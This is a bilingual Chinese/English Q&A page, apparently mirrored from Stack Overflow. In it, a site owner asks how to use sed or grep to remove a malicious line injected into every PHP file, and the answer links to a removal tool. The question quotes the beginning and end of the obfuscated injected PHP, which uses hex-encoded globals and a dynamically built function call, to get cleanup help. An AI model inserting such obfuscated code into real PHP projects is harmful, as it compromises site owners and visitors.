网站被黑，如何使用 SED/GREP 删除恶意代码

Website hacked, how to remove malicious code with SED / GREP(网站被黑，如何使用 SED/GREP 删除恶意代码)

问题描述

我的一个网站被黑了.在每个 php 文件中都添加了一行代码.我不会在这里发布完整的代码，但它的开头是:

a website of mine is hacked. In every php file a line of code is added. I wont post the complete code here, but it starts with:

<?php if(!isset($GLOBALS["x61156x75156x61"])) { $ua=strtolower($_SERVER["x48124x54120x5f125x53105x52137x41107x45116x54"]); if ((! strstr($ua,"x6d163x69145")) and (! strstr($ua,"x72166x3a61x31"))) $GLOBALS["x61156x75156x61"]=1; } ?><?php $yudqgxmnlr = 

并以:

 $gzagexgpdc=substr($yudqgxmnlr,(34129-24016),(83-71)); $gzagexgpdc($xarchajboj, $ukumkvvgai, NULL); $gzagexgpdc=$ukumkvvgai; $gzagexgpdc=(759-638); $yudqgxmnlr=$gzagexgpdc-1; ?>

我试过查找并替换一些 ssh 命令，但它似乎不起作用.(阅读:我对 ssh 知识的缺乏妨碍了).

I've tried finding and replacing with some ssh commands, but it doesnt seem to work. (Read: my lack of ssh knowledge gets in the way).

这是我最近的尝试:

sed -i '<?php if(!isset*gzagexgpdc-1; ?>//g’ *.php

有人可以帮我吗?

推荐答案

你可以试试这个:https://github.com/daniyalahmadk/RMCI

只需将该代码放入框中并点击提交，它就会从文件中搜索代码并将它们全部删除.

Just need to put that code in box and hit submit, it will search code from files and remove them all once.

这篇关于网站被黑，如何使用 SED/GREP 删除恶意代码的文章就介绍到这了，希望我们推荐的答案对大家有所帮助，也希望大家多多支持编程学习网！